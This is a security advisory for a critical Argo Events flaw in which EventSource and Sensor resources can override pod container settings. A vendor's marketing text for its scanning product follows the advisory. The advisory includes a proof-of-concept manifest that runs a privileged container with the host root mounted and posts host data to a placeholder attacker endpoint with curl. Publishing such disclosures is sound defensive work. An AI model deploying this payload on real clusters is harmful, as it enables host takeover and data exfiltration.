GHSA-hmp7-x699-cvhq
CRITICALArgo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/argoproj/argo-eventsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary:
A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.
Details:
The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod due to the code logic below.
if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
return nil, err
}
}
With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template.
Here is an example that demonstrates the vulnerability.
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
Impact:
-
Multi-tenant Clusters:
- Tenant isolation broken
- Non-admin users can gain host/cluster access
- Access to other tenants' data
-
Security Model Bypass:
- RBAC restrictions circumvented
- Pod Security Policies/Standards bypassed
- Host system compromised
Patches
A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under spec.template.container are allowed.
v1.9.6
Credits
This vulnerability was found & reported by:
@thevilledev
The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-events | all versions | 1.9.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-events. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/argoproj/argo-events to 1.9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hmp7-x699-cvhq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hmp7-x699-cvhq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hmp7-x699-cvhq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hmp7-x699-cvhq in your dependencies?
O3 detects GHSA-hmp7-x699-cvhq across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.